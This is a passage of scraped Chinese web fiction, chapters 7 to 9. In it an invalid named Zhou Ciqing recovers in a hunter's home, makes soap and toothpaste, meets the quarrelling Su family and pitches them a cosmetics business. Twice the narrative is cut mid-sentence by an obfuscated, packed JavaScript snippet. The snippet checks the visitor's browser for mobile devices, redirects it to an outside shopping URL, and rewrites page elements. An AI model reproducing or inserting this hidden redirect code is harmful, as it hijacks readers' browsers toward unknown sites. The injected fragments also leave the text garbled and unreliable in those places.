《掉入猎户家的小美人》 7. 第七章 昨儿个去县城溜达了一圈儿，周慈青竟是又咳嗽伤风，懒进饮食了。 是以吴长庚也不敢再让他出门，只在家中休养生息即可。 寒冬日头在外边儿跑跑跳跳还好说，手脚至少是暖的，可躺在这床上时，手脚就渐渐失了温，早晨灌的汤婆子早已冰凉，火坑也冰冷冷的。 吴长庚刚过了午时就到了家中，忙忙地给他烧热水，捡柴火，手脚发凉无力的周慈青面色这才逐渐红润起来。 “我出去时就该托人照看好你的。”吴长庚自责。 周慈青裹在辈子里，舒服得眯起了眼睛，嗓儿没什么气力：“那多不好啊，费这个钱作甚。” 吴长庚抿了下唇，眉略一折：“还是要托张嫂子得空时看一眼你，如此我才放心。” 周慈青笑说：“吴大哥，你可真贴心——哦，对了。吴大哥，现在就去看看我们前段时日做的那肥皂如何了。我看这天气，想来早也凝固了。” 那可是他来这世界头一回所作之物，自是满心满眼期待得紧。 吴长庚应着他的话，将那竹筒上的布一一拆开查验，果真凝固了。于是他便将一个个青绿竹筒劈砍开，再小心翼翼取出那里头的藤黄膏状物。 外形却是不错的，通身光滑莹润，细细嗅来也闻得见腊梅之味。 吴长庚而后就将那圆柱状的肥皂一一地切成小圆块，再放于竹篾上，需等候些时日将它阴干皂化后才得用了。 “这便是先成功一半了。”周慈青也不灰心，幸得这饮子售卖还算不错，再研制出些方子来，后面一段时日也不会难捱。 他又觉一阵头晕脑闷，眼炫得紧，没说几句话就只得躺下。 周慈青后头又接二连三喝了好些时日的苦药——真真是病来如山倒，病去如抽丝。 外面那雪渐渐地小了，已经连着好些日子没下雪了，只还冷得紧，一口闷出一团白雾。 周慈青倒是不见咳嗽了，大抵有那人参燕窝温养着，吴长庚对他的吃食又紧巴巴地看守着，不容许有半分闪失，现在养得倒是极好的。 他观午时过后，外头也不似前几日那般要活剐了人的皮肉那般冷，便打算出去活动活动手脚，松快松快筋骨。 在外边儿解解闷，也好过成日闷在屋内，胸闷气短得紧。 吴长庚在外面砍竹捡柴火，周慈青寻思着自己应当不会走太远，就在这村子里转上一圈，马上归家，想是无甚大事，便抬腿往外走了。 村子里的人烟不少，即便是冬日出来干活儿的大有人在，远远见到他便好奇地看来，半点不加掩饰。 周慈青也一一含笑点头示意，端得温和周正之态。 几个年岁不大，尚且只有十二三岁的黄毛小子见了他，傻愣愣地瞅着，见他颔首微笑，也跟着呆点了几下头。 周慈青这一回倒是笑得露了白璨璨的牙，那几个小子也红了脸，扭过了脖子。 乡野人家，鸡鸣狗叫，垂髫总角小儿嬉闹，冬日竟不算难熬。 周慈青拔脚继续往前走，只瞧那村西口竟有一处非常气派的庄子宅院。 他仔细端量着，隔着院墙也能瞧见些飞檐楼阁，假山树木，抄手游廊。 院门瞧着也有几分气势，雕刻精美花纹，钉有金色门钉。 周慈青凝目细看之际，里面倏地蹿出来一道身影，快得跟那灰耗子似的，眨眼儿就到了外面那棵柿子树边。 他定睛一看，却见是个身着月白绣文皮袄，穿着银鼠坎肩的富贵公子哥儿。俊眼修眉，身材长挑，只是现如今眉宇间有几分怯弱不胜之态。 这位公子哥后边儿跟着一位持着打棍连追个不停的中年男子，眉间三道褶，唇上留有美髯，此刻是目瞪口歪，双眸喷薄怒意。 “爹、爹——别打了！”对上他爹，那位公子哥儿更是气弱，绕着柿子树跑个不停。 中年男子直追。 这俩父亲便在这开始了秦王绕“柿子树”走的你追我赶。 从那门内又探出来几个家丁老仆，一时拦也不是，不拦也不是，急得直跺脚，杵那的婆子赶紧寻了个机灵的丫鬟：“快去找夫人太太来，快去！快去！” 那中年男子扬起木棍指着这位小少爷直骂：“我打死你这个混小子，蠢物东西，一丁点儿不长脑子。倘或你脖子上那摆设没被那外头野狗生啃了，也该知道此事发生前应当去信问问咱家做官的伯父，何曾沦落至此！酿成大错！你个蠢材也，今日老子就要让你长长记性！” “爹，你如今说话怎的也跟那些乡野村夫一般粗鄙不堪了！”那小少爷还在为自己辩解，“我这只不过是在做生意，你也知晓，生意本来就是有风险之事，怎么还能赖上我呢？” 周慈青听着，差点儿笑出声来。 这小少爷不知是一根筋儿还是真的笨，这时候不向他爹求饶，竟还火上浇油。 “你——你这个逆子，不肖子孙，老子今天就要打死你！谁做生意会似你这蠢物般败家。都给我把少爷摁住了，你若再敢逃的话，就滚出家门永不再回来了。” 那傻小子便呆立不动了，由着他爹气不过，狠命打了七八下。 “嗷，爹——！爹，您真下死手要打死我啊，爹！！” “还能吼得出声呢，想是没将你打清醒！还不如当初把你关进学堂死读书，也不至于败我家财五百两——黄金！” 周慈青倒吸一口凉气，怪说不得这位老父亲如此动怒呢，这钱都够当朝普通人一家不愁吃不愁喝过上一辈子的了。 说到怒处，中年男子又朝着那小少爷下手，一连锤了十几下，只把那小子打得面白气弱，趴在地上出气多进气少了。 “啊，我苦命的儿呐——”只见院门中有一美妇人放声大哭，急急赶来，她身后的小丫鬟追都追不住。 “你若是想要打死他，便先打死我吧！” 她那美目一瞪，泪珠子就从眶中滚落下来，情不自禁地往下滴。 男子见了美妇人，脸上隐见后悔之情，却又辩解道：“你可知他是败坏了多少家财？！五百两黄金！问也不问清楚就去做那交引的生意，害得钱财都打了个水漂。即便是投入水池中，那也能听见个响儿，他现在又能作甚！吾家中便是再多财物也不够这孽子败的！” “区区五百两黄金，你若是气不过，便从我的嫁妆里抠出来便是，谁稀得这些钱财，何苦要了我儿的命！”美妇人哭个不住。 “你——”男子气堵。 “有哪家体面人家会动用出嫁妇的钱财啊。”一老迈之声从自院门缓缓而来，隐约还能听见些中气的怒意。 “娘。”男女之音叠声唤道。 “哼，你也是一样，身为老子就该好好管教儿子，如此喊打喊杀动刀动枪的，又能成个什么体统。你那可是下的死手，你儿子禁得住吗？知乐自小便是养在我的膝下，你如此憎他怨他，可也是在埋怨老身教养不够啊！要死的话，不如也把我给带了去吧！”说着，也滚下了泪。 此话一出，当儿子的立马就跪了下来，心中再多的气也散得不剩多少，惶恐地说：“儿不敢！” 祖母亲母都溺爱如此，这中年男子今日怕是也没辙了。 “慈青……” 听得竹林边传来一阵唤他的声音，周慈青“啪擦”一下踩碎了那林子里落下的枯竹，这便引起了那一大家子的注意。 周慈青便自觉走了出来，叉手作揖：“晚辈无意冒犯，不过是初来这吴家村，没忍住在村中散散心。不曾想走到这个位置，恰巧碰见这位老爷正在处理家事，本是要尽早离开的，却不防倒叫诸位听见了动静。晚辈惶恐，实在抱歉。” 他生得眉如墨画，面如桃瓣，顾盼神飞，且两眼清明透亮，未见半分奸邪之态，不过一个照面就叫人心生好感，众人对他的话也信了大半。 周慈青又忙道：“现在最紧要的还是家中这位小少爷，冬日严寒，他又受了重伤，当是要立即带回屋中，唤来大夫看诊才是。” 众人如梦方醒。 “快点把少爷抬进去！快去叫大夫啊！” 家中小厮丫鬟都忙忙地动了起来，一阵手忙脚乱。 那男子面上似见惭色：“倒是让小兄台见笑了。” 周慈青刚要做声，身后就传来一阵大步流星的脚步声，还有略急的声音叠在一起：“慈青，你在这？” “这……长庚老弟，原来你们认识啊。”中年男子脸上带出讶色。 周慈青的嘴巴刚一张开，又连忙以手握拳，抵在唇边咳了两声。 “在院外谈话不是待客之道，两位可随我进厅中谈话。” 面前这位老爷盛情相邀，又是吴长庚相识之人，周慈青岂有拒绝之理，他连忙拱手应道：“却之不恭。” 周慈青和吴长庚缀在老爷小厮们的身后，虽说对古时的亭台楼阁有些好奇，但在影视剧中见之也不少。 这件庄子小院虽说不差，不过到底不及影视剧中那般精致，反而有几分拙朴，他扫了两眼，便不在意了。 吴长庚瞥见了，眉眼微动。 “吴大哥，此前是我考虑欠妥了。不曾想我在外面耽搁那么久，还未告知于你，实在是惭愧。”周慈青赶紧认错。 吴长庚摇头：“人无事便好。” 从游廊走至厅中，不到一盏茶的时间。 “某先在这儿告声罪了，现下要先去院内换身衣服，就烦扰长庚老弟和这位小兄台先在此坐一会儿，某立刻便来招待二位。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13289166|140123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他叉手作揖，吴长庚和周慈青忙回礼。 坐下之后，就有小丫鬟进来端茶倒水，还将瓜果摆在桌上。 “吴大哥，方才那位是……？”周慈青脑袋凑近了，和吴长庚耳鬓厮磨地交谈。 “他便是村子里最有名望的苏员外了，为人乐善好施，待底下的佃农也非常友善，平日里也没什么架子，哪怕是同庄稼汉讲话也端正有礼，从不鄙夷作践村中人。他归乡之时，还自费了些钱财建了一条从村中通向县城的路，因此颇受村中人的敬重。” 周慈青点头，方才他见那位员外郎不似强装和气，便知吴长庚所言属实。 “那吴大哥又怎么会同苏员外这般熟识？”周慈青满眼的奇也怪哉。 吴长庚心知这是因自己素日不爱同村中人来往交流，是以周慈青才免不了的困惑，叹了口气，方道：“我与苏员外也是在机缘巧合之下结识的。” “我本是山中猎户，平日里的营生便不似村中其他人那般专靠耕种，而是在山林子里猎鸡兔狐狸，虎豹狼熊之物。” 周慈青听他猎此等凶兽说来轻巧，可其中的凶险谁都心知肚明，稍作不慎，连命都要搭在里头。 他的面色不由白了几分，满心挂念。 吴长庚以为是打猎一事的凶煞吓到了他，忙接下去说：“有一次，我提着猎来的狐狸下山，碰上了苏员外郎归家，他便买下了那只打来的狐狸，托我日后有好皮毛和猎来的野物，都可卖与他。一来二去的，便也结交上了。” 他觑周慈青的神色，观他双眼失神，红唇抿紧，方知这是没听见去。 他怕这是魇着了，心中略急之时，府中的小丫鬟赶忙儿进来，向他二人说：“老爷还在处理后院那事，现下实在无力分身待客，便越性向二位告罪，只等三日有空之后，再宴请二位客人。” 吴长庚要说话，周慈青却抬起头，笑吟吟地说：“苏员外这是说的哪里话，本就是我和吴大哥冒昧叨扰了。烦请这位好姐姐之后回禀苏员外，我们之后会备礼上门，也是感谢平日里苏员外对吴大哥的照顾了。” 他这话说得滴水不漏，本身又生得清俊秀气，叫人不由在心中暗暗赞赏。 丫鬟双颊飞上了红霞，福了福身：“小郎君放心，自是会将话给带到。” 他二人出来后，周慈青由自出神，吴长庚急问：“慈青方才可是吓着了？” 却见从周慈青嫩白的小脸上情不自禁地滚下几滴泪来，他摇头：“此前我这病已经花费吴大哥家中所有钱财，未曾想过吴大哥打猎是如此凶险之事，方知此事，更对吴大哥尊之敬之了。” “此事原为我一厢情愿，又非你强迫于我，反倒叫你郁结于心，却是我的不是了。”吴长庚认真同他说，“这钱财如何花去，怎样去花，全是我的自由。况且它们来这世上一遭，辗转过数人手中，背负使命千差万别。落入贪官污吏手中随意花费是它们之痛，救了人命，却是它们的造化了。” 周慈青何曾听到过这般言论，他赶紧拭去了脸上的眼泪：“吴大哥这话说得可真讨巧，你这嘴巴皮子可比我利索多了，那些人还打趣我呢。吴大哥待我不薄，此生我也定不负你。” 见他重新展颜，吴长庚心中才好些了。 周慈青浅笑，眼眶儿还红红的呢，就拉着吴长庚的袖子又问：“苏员外家这位少爷又是怎么回事？” 雪还不曾化去，厚厚一层，二人踩在雪上，就发出沙沙的声音。 吴长庚顺势而为，一把握住周慈青的手，见有些冰凉，略皱皱眉，方答：“苏少爷乃家中独子，自小养在老太太膝下，亲母也常常惦念，自小就被疼宠着，自然养得无法无天了些。如今他们一家子从州府中搬来乡下修身养性，也是苏员外为了压一压他的性子，免得长成个歪邪狂佞之徒。” 周慈青摸摸下巴：“我说呢，他家中瞧着父母俱在，又并非捉襟见肘，怎会来这个小地方。” 吴长庚又道：“我曾和他打过几次交道，那苏少爷随是骄矜些，但本性不坏。虽说会干些浑事，但作奸犯科之事一概不敢做。想来那老太太、太太虽是疼宠，但也束着他。还有一事，本朝不禁商贾子弟科举入朝为官，苏员外本是想着让苏少爷在这无甚乐子的乡下好生读书，但，收效甚微。” 想不到吴长庚也是会打趣人的，周慈青忍俊不禁。 “这一次我也是刚晓得，原来那苏少爷还想沾商贾一事。” 周慈青说：“是了，这次也不知怎么的，又不太如人意呢。” 二人有说有笑的，这便到了自家院子门口，仍是大黑来迎。 周慈青眼儿尖，站那门口就瞧见了院角那茅草檐下所横陈之物，惊道：“呀，吴大哥，这么快就做好啦？” 8. 第八章 周慈青所托吴长庚制作之物，乃纯天然的草药牙膏，并非竹盐牙膏。 他曾经见识过竹盐牙膏的制作工序，其中光是材料就有龙脑、珍珠还有麝香等名贵香料，更别说其他手法，那可是真正的奢侈品。寻常人家根本用不起，此物乃是高门大户甚至帝王所用。 而这草药牙膏就易得了些—— 选用低温初榨的植物油，海盐，草木碱，姜黄，柯子粉，细细地搅拌均匀，呈凝固状后便可使用了。 也亏得周慈青眼尖，发现了装于陶罐中的，正开着盖子阴干的牙膏，便露出了喜色。 “若是夏日加些薄荷叶进去，恐怕漱口刷牙时会清爽不少呢。”周慈青欢喜道。 他又转了一圈，以手握拳敲在掌中：“若是此物好用，还能卖与货郎，让他卖至千门百户呢。” 不过这个念头只在周慈青脑中打了个转儿就消失了，现如今牙粉一物早已飞入寻常百姓家，他们未必会轻易使用旁人所制之物。 大黑正一无所知地在他们腿边打转，嗷嗷地叫了两声，似是饥饿。 吴长庚转了个身，去给它添饭了。 “今夜吃点不同的吧，吴大哥。”临近傍晚，周慈青遥遥望着那株嶙峋生长的腊梅，颇有兴致地提议。 他手中还捧着吴长庚塞给他的用布包好的汤婆子，两腮虽是被寒风吹得红扑扑，所幸却未出现咳症。 吴长庚对他的话无有不应。 于是周慈青就将今日吴长庚走运逮了的一只兔子抓来吃——这兔子饿了大半个冬，身上已经没几两肉了，之后兔肉切成薄片，再以米酒、酱和花椒姜汁浸入腌制。 他又准备了储在深窖的萝卜，细细给它切成薄片。 二人就将给周慈青熬煮药汁的那小炉子给拿了出来，摆在院中，又各拿一只小碗。碗中装以蒜汁，清酱和香油佐料。 似乎连上天都在感念他们的好兴致，于是晚间的风竟停了，只剩下一轮云遮月。 雪还压在梢头，天也不算黯淡，如此良辰美景，佳肴相伴，当赋诗一首。 怎奈周慈青没有点亮这棵天赋树，压根儿就不会作诗吟赋。而吴长庚粗人一个，就更不会去钻营此道。 两人就只得抱着这锅吃喝了。 “吴大哥，这就是有名的拨霞供了，也是个有趣儿的吃法。”周慈青介绍，“待这锅中的水沸腾了，就将片好的兔肉浸润在沸腾的滚水中，便可蘸着料汁食用。那萝卜亦是如此。” 他不单是口中传授，手上也不落，夹起一片嫩兔肉放那锅中，待兔肉色变，全白不见半分血色后，再夹出来，蘸了料汁吃起来了。 “这滋味真不错，可若是想要更美味，还是得烧特制骨汤，或是其他汤底，才能让肉菜更加浸润料汁，吃起来便是连老餮都赞不绝口。况且这炉子终不似打一个铜炉出来，烧得实在有些慢了。” 思及二人现如今的窘境，周慈青闭了嘴。 吴长庚闷头吃着，就着他的讲解倒是挺泰然自若的，他扫了眼周慈青略显忧郁的眉宇，道：“一家子吃这道菜，倒是有几分热闹。” 周慈青被他的话勾去几分兴致，忙说：“是呢，若是人再多些，几人一同分吃，便是团聚欢欣之景了。” 这一晚的拨霞供结束后，还有不到十日就是立春了。 周慈青近些时日身体着实好了许多，他便对吴长庚说：“吴大哥，在屋中憋闷，我在这几日索性出去走走，应当不妨事吧？” “都是些本分人家，似吴柱子那般的人终归是少数，不妨事的。”吴长庚思量了半响，又道，“村中仍有些讨人嫌的地痞流氓，那些个混子成天干些偷鸡摸狗之事，着实叫人厌烦。” 周慈青迟疑：“就没个惩戒的法子？” 吴长庚道：“凡是有人作恶，村长便会命人将他们抓起来关进柴房中，饿他个两三日小惩大诫是有的。除了这鸡鸣狗盗之事，他们也不敢再做其余坏事，否则便会被绞送官府，落入大狱，或是去服劳役，苦不堪言。” 周慈青忙点头：“既如此，我在这村中走动，吴大哥也可放心了。” 吴长庚思虑了一阵，方道：“你身子不大好，还是不可在外久留，切记。” 周慈青心中触动：“我晓得，多谢吴大哥挂念。” 待吴长庚走后，周慈青便踩着他的脚印出门了，如今大黑也不会冲他吠了，每日见他在屋中进进出出也不过睁一只眼闭一只眼，只还单朝着吴长庚摇尾。 他搓了搓两掌，哂笑：“来日方长。” 吴家村不过一个小村落，村中人上上下下加起来不过几十户，百余人。规模自是不大，不过三两日，周慈青就将此地的地皮子给踩熟了。 旁人也将他那张俏丽的脸蛋给看熟了，村中哪户人家不晓得他是吴长庚大冬日捡回来的那人，只是未曾想，生得竟这般好看，活像是那什么神仙公子似的。 说句大不敬的话，便是连他们村中最有钱的苏员外家苏公子，也是比不过这位的。 这日周慈青走到那村东口的大榕树下，就见些闲汉老妇正端着手中的碗，吃的时候还在叽叽咕咕地讲话，旁边坐那躺椅的老汉们则在啪嗒啪嗒地抽着旱烟。 男子多着粗布短褐，颜色灰暗，质地粗糙，腰间束以粗麻之带。女子身穿深色的衣裙，裙摆及袖口常见补丁，然缝补得整齐细密，可见其勤快麻利。 这不就巧了么。 周慈青双眸顿时一亮，便迎了过去。 这些人打远就望见了他，直待走得近了，才将周慈青的全貌落入眼中，不免又是一阵咂舌惊叹，目瞪口呆。 若不是早前便听说了这是个小郎君，恐怕不少人会将那张俊俏的脸蛋认作美娇娘！ 周慈青站定后，便朝着他们叉手作揖，面上不见半分骄矜鄙夷之色，且端正有礼至极。 “慈青在此向诸位乡亲父老问声好，此前慈青一直在病榻中缠绵，好容易病去了，却不曾找到机会看望看望大家，倒是失了几分礼数。近日慈青待在吴家村，发觉此地水木清华，林籁泉韵，宛如世外桃源。又见乡里人淳朴无邪，真诚待人，可谓古道热肠，真真算是钟灵毓秀之地。慈青能来此地，可以说是此生之幸。日后在这村里住着，要多多同乡亲父老打交道，慈青也放心了。” 他双眸清亮真诚，唇角含笑，口中之话也是发自内心，任是谁听见了都不免触动，遑论是乡里人家。 乡人们听了他的话，竟是你一言我一语地说了起来，七嘴八舌的，倒是让周慈青一时懵在原地，只听得全是些赞美他的说辞。 “小公子，你莫不是哪家的富贵公子哥儿，想来尝尝这乡间生活的什么甜的蛋滋味？” 先声夺人，高亢嘹亮，这一嗓倒是将其他人都给盖了过去，众人一静。 周慈青抬眸看去，竟是个穿着灰色衣裙的大娘。那“甜的蛋”，他琢磨了半会儿，才恍然大悟：定是恬淡一词。 他忙忙地道：“非也，哪有什么公子哥呢，慈青不过是家道中落的可怜人。之后又在回乡路途上遇险，碰上那凶恶猛兽，侥幸碰见了长庚兄救下，幸能捡回一条性命呢。想来也是，只有吴家村这般山灵水秀，人人质朴善良之地，才能养出似长庚兄这般良善之人呢！” 这话直夸得这群人乐得牙不见眼，村中粗人大都木讷寡言，就是有那心直口快的，却没他这般能说善道。 虽说还在心底纳闷那长庚小子平日里瞧着凶神恶煞，活似恶鬼的模样，真就那般好心，不过不妨碍他们为周慈青的夸赞心中畅快。 “小兄台真是好会说话，瞧你这一口利牙，说不得就有重整旗鼓的机会，不日后恐怕就要富贵咧。”在躺椅上的老汉砸吧了一嘴的旱烟，笑着说。 “那就多谢阿伯吉言了。” 周慈青刚融入这村头大小消息流通之处，初时村里乡亲见他似读书人，举止有度，待人客气，讲话还有些拘谨，不敢说些腌臜的话来污他的耳朵。 后觉他并非那等迂腐之人，竟也能说上些俚语趣言，还同他们讲了不少行商之时碰见的诡闻异事，颇为不拘小节，方才泄了不少村里的隐秘。 “村南吴愣子一家已经回来了，我昨儿个瞧的一清二楚呢，他们一家现在门都不大出呢。” “倒是好笑得紧，此前他们家要搬出去那鼻孔朝天的架势，我还以为他们一家要发达了呢，结果还不是跟那夹了尾巴的狗似的——喝了几碗黄汤，那就开始认不清自己啦？” “谁叫他要去京都做交引这门生意，当初吹得天上地下绝无仅有，当初好几个人心动呢，幸好他们都没去。现在政府一纸政令下来，最后吴愣子还不是破产了，苦不堪言啊！如今一家子老小都灰溜溜地跑回来，从此以后那可不是有 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“无碍，既是大家的好意，收着便是。”吴长庚垂首，忙着摆桌去了。 周慈青那颗悬着的心才放回了肚子里。 菜都摆上桌，一道煎豆腐：取清酱炒豆腐，需炒至两面金黄。再热锅放猪油，葱椒，放入豆腐慢煎。一道清炒的柔脆豆芽，冬日蔬菜本就难得，这道豆芽还是这两日萌发出来的，脆脆甜甜，倒是可口。 家中养了几只鸡，前两日老母鸡都下了蛋，周慈青拾了四枚来，打在碗中，用竹筷搅了一千回，放入盐、酱蒸之，非常嫩，且不见腥。 吴长庚最喜这道菜，周慈青便多做了几次。 还有道小菜腌萝卜，放入醋、姜，盐，糖腌制，色如白玉，清爽脆甜，不失为一道美食。 周慈青还是那点子饭量，猫儿胃，吃了一碗，夹了几筷子菜便放下了，其余都是吴长庚来解决。 “明日便是苏员外家宴客，长庚兄就先别去城中卖饮子了吧。” 吴长庚动了动嘴，方要说话，周慈青又道：“明日赴宴怎可不备礼呢，我已经想好要做些什么了，只是要请吴大哥帮帮我了。” 他这才点头同意。 设宴大都在晚上，苏府也不例外。 夜间府内也灯火通明，亮似白昼。 府中老爷见客，家眷并未在场，倒是还留了一个苏少爷在凳子上坐着，上面的软垫恐怕都垫了足有七八层厚。 苏员外忙忙过来见礼：“或有礼数不到，招待不周的地方，烦请见谅。” “哪里呢，苏员外客气了。”周慈青和吴长庚忙应。 正是说着，只听那苏少爷“咦”了一声：“你手中拿得是什么？” 苏员外往后转身，圆眼一瞪，怒道：“不得无礼！” 那苏知乐便缩肩弓背，不敢做声，只眼巴巴地瞧过来。 周慈青才道：“这本是为见苏员外所备的薄礼。想来苏员外也知我和长庚兄家中境况，便也不打肿脸充胖子了，家中贫寒，便自个儿作了盏芙蓉彩穗灯，还望苏员外不要嫌弃才是。” “哪里哪里，这次的宴席本就是为了致歉所设，怎好叫客人送礼呢？” 送礼乃是礼数，苏员外也不好过多推辞。 周慈青便将这灯拿出来，只见每一片用纱窗做的灯外都竖着一柄倒垂的荷叶，叶上尽是彩烛。荷叶还是活信，可以扭转，一开始点燃时，灯全都被遮住，蒙蒙亮，在彩穗映照下分外好看。将荷叶往外流转后，灯影逼住朝外照，登时大放光彩，简直是一番巧思。 便是苏员外这个州府中来的员外郎，也是少见这般有趣儿的盏灯，当即叹道：“周小兄弟真是个巧人儿啊。” 再见自己那对灯盏蠢蠢欲动的孽子，苏员外的手又开始痒痒了，此时需得待客为主，也只得先放过这逆子，待日后算账！ 周慈青和吴长庚在苏员外的安排下入座，只见那桌上竟摆上了二三十盘美食，有各色面点、正菜、卤味、腌菜、点心水果和野味小吃。 到底是地主家！ 苏员外倒是一直都很热情客气，只那苏少爷脸上稍见郁色，却又不敢做声。 酒足饭饱，菜都撤下，又端上了茶后，苏员外一说，周慈青才知这苏少爷缘何忧悒烦扰了。 9. 第九章 “你也晓得，吴家村有位老秀才名为吴三道，收人束脩，教人读书道理。不若就将你送去，好生读书认字。人家读了半辈子的书，叫你可是绰绰有余！” 不喜读书之人，听到这话恐怕就是晴天霹雳。 这苏知乐看着他爹，要张口说话，被那一眼横过来，便唬的跟缩脚鸡似的。 “若说你有营生之才，我也不会勉强你，但你着实不是那块做生意的料子，还平白叫人看了笑话来！谁像你这般没有脑子呢。”苏员外横眉冷目的。 苏知乐怏怏不乐：“才说呢，我这读了十多年的书，自三岁起就启蒙了，闷头读着，却还不见长脑子。我看我这就是读书读坏了脑袋，咱家祖祖辈辈就没出过秀才，倒不如别拘着我。” “你……你居然还敢犟嘴！”苏员外怒气勃发。 周慈青笑道：“苏公子只是尚且年幼，一时被外人那些天花乱坠的说辞蒙骗过去，做生意不妨着了些小道也属实人之常情。我斗胆听了一耳朵，冒昧说上两句。想是苏员外不曾教导苏公子生意营生之事，加之公子生性单纯，才让他着了那些小人的道。” 苏知乐眉开眼笑，就看他爹沉思。 周慈青又道：“不过苏公子也实在大胆，头一回做生意就投进去那样子多的本钱。爷们儿豪气干云，爽快本是件好事儿，若是被那等子奸邪小人利用了去，反倒不美了。” 苏员外说：“周小兄弟说的是极。这小子被他祖母、母亲溺爱至极，胆大妄为，方才失了谨慎。可家中也只有这一个孽子，将来家资都要传给他的。此事着实让我苦恼了许多，就怕眼一闭腿一蹬，在下头不到几年光景就传来家世叫他败光的消息。那才是真的愧对列祖列宗啊！” 苏知乐自知自个儿能力，垂了头，默默无言。 周慈青道：“既如此，自现在起苏员外就开始历练苏公子的能力。生意是从小本买卖做起，慢慢扩张，又有您在旁看着，想来不会差到哪儿去。况且苏公子在苏员外的耳濡目染之下，日后想必也不会差到哪去儿去。” 苏员外闻弦歌而知雅意，手指抚上了自己的美髯：“周小兄弟可是有什么好主意？” 周慈青喝了口茶润润喉，道：“说来也不怕苏员外笑话，我这儿确实有本小生意想同苏公子一起做。慈青身子骨弱，不像长庚兄这般健壮，出去打猎是使不得的。书也只读了几本，不过认识几个字而已，要科考却是不成的。家道中落，奈何又病痛缠身，未曾有些本钱，但好在慈青脑子还算好用，琢磨出了几个赚钱的法子。” 苏知乐立时双眼放亮，也将他看入了眼。 只见在暖黄的点点灯光下，此人愈发眉清目秀，神采飞扬，活似天下降落的神仙。这等人比之他还该降生于富贵公爵之家，乡村中的小门小户倒是委屈了他。 苏知乐暗忖着，凑上去忙忙了道：“愿闻其详。” 吴长庚唤来丫鬟倒了杯滚热的水，搁在周慈青掌中给他暖手。 苏员外见状：“何不移步暖阁之中，寒舍虽是简陋，但也做了地龙。” “就不劳烦了，慈青三言两语就能道完。”周慈青推辞了两句，问苏知乐：“苏公子可知，什么营生最能赚钱，且又不违背朝廷的法令。” 要是不惧这砍头大罪，苏知乐嘴里定是要冒出盐铁二字的，这既不行，他道：“茶酒？” 周慈青摇头。 苏知乐思量片刻，又道：“民以食为天，定是在这吃上！” 周慈青抚掌大笑：“苏公子这话有理。” 苏知乐刚要跟着一起乐，便听周慈青一句非也，将他此前所猜之物给打了回去。 他傻眼了，心中有些不乐。 周慈青也不卖关子了，立时便道：“当今不拘男女，对自己的皮相却也是看重的。晨起漱口洗脸，出门涂脂抹粉，日间还要洗发洗浴。貌丑者还不能做官，狠狠心，在脸上下大价钱者，不计其数啊。” 这回不但是苏知乐来了兴趣，便是苏员外也咦了声：“周小兄弟可是有什么好法子？” 吴长庚听他这伶牙俐齿，情不自禁抚上了自己的面庞。 这话说得着实不错，打周慈青出现在他家中，在那缸子水前，他成日里瞅瞅倒影中的自个儿便不下五次。平日里他可是一眼都不瞧的。 “苏员外一猜即中，慈青这儿确实有几样方子和工具，皆是跟人们平日洗脸洗澡息息相关，口脂细粉也有法子。咱这就先占个新和奇，再者便是品牌效应，就算是旁人仿制也不畏惧。”周慈青细细地说，“我想苏员外一听即明白，品牌效应，就是在商品上烙印上咱自己的招牌，加以宣传和造势。让买家都晓得，咱们这儿才是正品。” 苏员外恍然大悟，眼前一亮：“这个法子真是让人耳目一新。如此一来，买这样物品时，人们首选的就是咱们家。周小兄弟真是厉害厉害！好一个风流灵巧的人物。” 周慈青摇摇头：“哪里哪里，在下怎么当得起苏员外如此夸赞，不过拾人牙慧罢了。现在机灵点儿的，大都已经打出招牌了，不过咱们也不算晚。” 苏知乐在旁听得一知半解，苏员外扭脖子瞅见他这愚钝的模样就一肚子的火气，冷笑道：“你日后还有得学，可就不要以为做生意是什么简单玩意儿。若是日后再如此，还不如先把你给打死，我再找根绳子吊死算了，省得平白受你的气。” 苏知乐脑袋垂了下去。 苏员外便道：“那就让这孽子先跟着周小兄弟做生意，如何？既然周小兄弟如今囊中羞涩，那我就擅自做个东道主，出些钱财费用，这做生意有来有往，必不能让周小兄弟吃亏！何况孽子需长进，也是麻烦周小兄弟了。” 周慈青摇摇头：“此事暂且不急。空口无凭，我需得先拿个章程来，才好叫此事定下，必不负苏员外之所托看重。” 言罢，又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13289168|140123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐了一会儿的功夫，便告辞离去。 苏员外端他一言一行，不免赞道：“此子绝非池中之物。” “还是爹会识人……”苏知乐瞅见他爹横过来的眼神，又低了头。 * 夜间骤然冷了下去，雪还不曾消融，踩在地上有沙沙作响的声儿。 周慈青将双手塞进袖子里，在吴长庚面前就不挺肩直腰了，懒洋洋的，还耸眉搭眼。 他打着哈欠：“长庚大哥，明日还要托你去买些纸笔回来……” 他那话音还未曾落下，身后就传来一阵疾行的响动，吴长庚眉目利落地朝后看过去，神色有几分机警。 “幸好你们还没走运。” 听这声儿似是苏员外家中的小厮。 来的近了，才发觉确实是常跟在苏员外身边的那李禄。 “可是苏员外还有什么事？”周慈青问。 李禄便解释：“是了，席间诸位不是在商讨事儿么，老爷就想到了如今周兄弟不方便，身上应是不曾带了纸笔，便做主给你们送来些，也省的第二日再去城中忙活了。” 周慈青惊喜：“苏员外实在是体贴之人，在下如今确实诸事不便。可巧方才还说要去县城买纸笔，没想到现在就雪中送炭了，实在叫人感激不尽！” “我们老爷正是如此良善之人。”听他的赞声，李禄面上也带了几分喜色。 